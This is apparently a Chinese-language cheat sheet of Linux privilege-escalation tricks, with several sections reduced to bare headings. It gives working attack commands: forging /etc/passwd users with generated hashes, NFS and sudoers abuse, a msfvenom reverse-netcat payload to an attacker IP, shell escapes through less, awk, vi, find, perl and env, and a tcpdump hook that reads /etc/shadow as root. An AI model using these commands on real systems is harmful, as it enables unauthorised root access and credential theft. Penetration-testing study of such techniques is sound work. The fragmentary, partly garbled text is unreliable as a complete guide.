Linux提权技巧

Linux Authorization Skills

编辑-etc-passwd文件进行权限升级

  • 使用cat打开/etc/passwd查看可用用户 cat /etc/passwd
    ++可以看到可用用户++
  • 添加用户(查看用户信息)

==这里是正文== > 前提:用户具有读/写/etc/passwd权限 这里我用root尝试 - 手动修改etc/passwd文件

  • /etc/group文件中对其进行处理

  • 设置密码

    >由于我们在不使用adduser命令的情况下手动创建了一个新用户syst1m,因此在/etc/shadow文件中找不到任何有关信息。但是它在/etc/passwd文件中,此处*符号已被加密密码值替换。通过这种方式,我们可以创建自己的用户以进行权限提升。

  • 无法执行passwd命令设置用户密码 1.Openssl openssl passwd -1 -salt user3 pass123 2.mkpasswd mkpasswd -m SHA-512 pass 3.Python python -c 'import crypt; print crypt.crypt("pass", "$6$salt") 4.Perl perl -le 'print crypt("pass123", "abc")' 5.PHP php -r "print(crypt('aarti','123') . \"\n\");" 修改*号处的密码即可

配置错误的NFS的Linux权限升级

核心文件(/etc/exports,/etc/hosts.allow和/etc/hosts.deny.要配置弱的NFS服务器,只查看/etc/export文件)

  • 环境配置(安装nfs)

  • 编辑/etc/export > etc/export文件

  • 扫描NFS共享

1.NMAP

nmap -sV --script=nfs-showmount 192.168.1.1

2.showmount

  • 利用NFS服务器进行提权技巧

1.Bash文件

2.C程序(来源互联网)

3.Nano/Vi(来源互联网)

4.Sudoers文件 nano -p /etc/sudoers ignite ALL=(ALL:ALL) NOPASSWD: ALL

通过自动脚本快速识别Windows系统上潜在的权限提升选项

  • Linuxprivchecker(枚举系统配置并运行一些权限提升检查) wget http://www.securitysift.com/download/linuxprivchecker.py

  • Linux Exploit Suggester 2(返回可能的漏洞利用列表)

- Bashark

  • BeRoot git clone https://github.com/AlessandroZ/BeRoot.git > 用于检查常见的错误配置,以找到提升权限的方法 检查文件权限 SUID bin NFS root压缩 Docker Sudo规则 内核利用

./beroot.py

Cron计划任务Linux权限技巧

  • 环境

  • 利用

使用SUID二进制文件进行Linux提权

使用 “cp”进行提权

  • 第一种方法(复制passwd) 1.寻找具有SUID的文件
  • 复制passwd

    3.下载修改并让目标下载替换

  • 第二种方法(传输后门) 生成反向连接(利用计划任务bash) msfvenom -p cmd/unix/reverse_netcat lhost=192.168.1.108 lport=1234 R

使用Find命令进行提权

  • 环境

使用vim进行提权

  • 环境

  • 利用 ==sudoers文件==

Other

nano修改passwd
运行suid脚本
老版本的nmap(2.02-5.21)
nmap --interactive
lsh
whoami
msf exploit/unix/local/setuid_nmap
bash
nash -p
id
less
less /etc/passwd
!/bin/sh
more
more /home/pelle/myfile
!/bin/bash
AWk `awk 'BEGIN {system("/bin/bash")}`
man
man passwd
!/bin/bash
man
tcpdump
echo $'id\ncat /etc/shadow' > /tmp/.test
chmod +x /tmp/.test
sudo tcpdump -ln -i eth0 -w /dev/null -W 1 -G 1 -z /tmp/.test -Z root

使用sudo进行Linux提权

/etc/sudoers文件(sudo权限的配置文件)

  • 检查用户sudo权限 sudo -l

  • 传统分配root权限方法 visudo raaz ALL=(ALL:ALL) ALL/raaz ALL=(ALL)ALL sudo su id

  • 分配root权限默认方法 visudo raaz ALL=ALL/raaz ALL=(root) ALL sudo su / sudo bash

技巧

  • 允许二进制命令的root权限 raaz ALL=(root) NOPASSWD: /usr/bin/find sudo find /home -exec /bin/bash \; id
  • 允许二进制程序的root权限 raaz ALL= (root) NOPASSWD: /usr/bin/perl, /usr/bin/python, /usr/bin/less, /usr/bin/awk, /usr/bin/man, / usr/bin/vi

perl sudo perl -e 'exec "/bin/bash";' python sudo python -c 'import pty;pty.spawn("/bin/bash") less sudo less /etc/hosts 编辑器中输入!bash,按enter生成 awk sudo awk 'BEGIN {system("/bin/bash")}' man sudo man man 编辑器中输入!bash,按enter生成 vi sudo vi 编辑器中输入!bash,按enter生成

  • 允许shell脚本的root权限 sudo /bin/script/asroot.py id

  • 允许其他程序的sudo权限 raaz ALL=(ALL) NOPASSWD: /usr/bin/env, /usr/bin/ftp, /usr/bin/scp, /usr/bin/socat

环境生成shell

sudo env /bin/bash ftp sudo ftp ! /bin/bash whoami

通过SCP生成shell scp SourceFile user@host:~/目录路径

## 使用LD_Preload提权 - 打开/etc/sudoers visudo test ALL=(ALL:ALL) NOPASSWD: /usr/bin/find Defaults env_keep += LD_PRELOAD

  • 利用
  • 新建shell.c
  • 使用gcc编译

  • 执行

    使用通配符提权

    * 星号匹配文件名中的任意数量的字符,包括无 问号匹配任何单个字符 [] 括号内包含一组字符,其中任何一个字符都可以匹配该位置的单个字符 - []中使用的连字符表示字符范围 字符开头的~扩展为主目录的名称。将另一个用户的登录名附加到该字符中,它指的是该用户的主目录

在野通配符

文件劫持示例

1.文件所有者通过Chown劫持 - 普通用户

- root用户
## 使用PATH变量进行提权

查看相关用户路径 echo $PATH

PATH变量提权方法一

  • demo.c

  • 权限提升 查看程序

    1.echo生成root权限
    复制命令
    symlink命令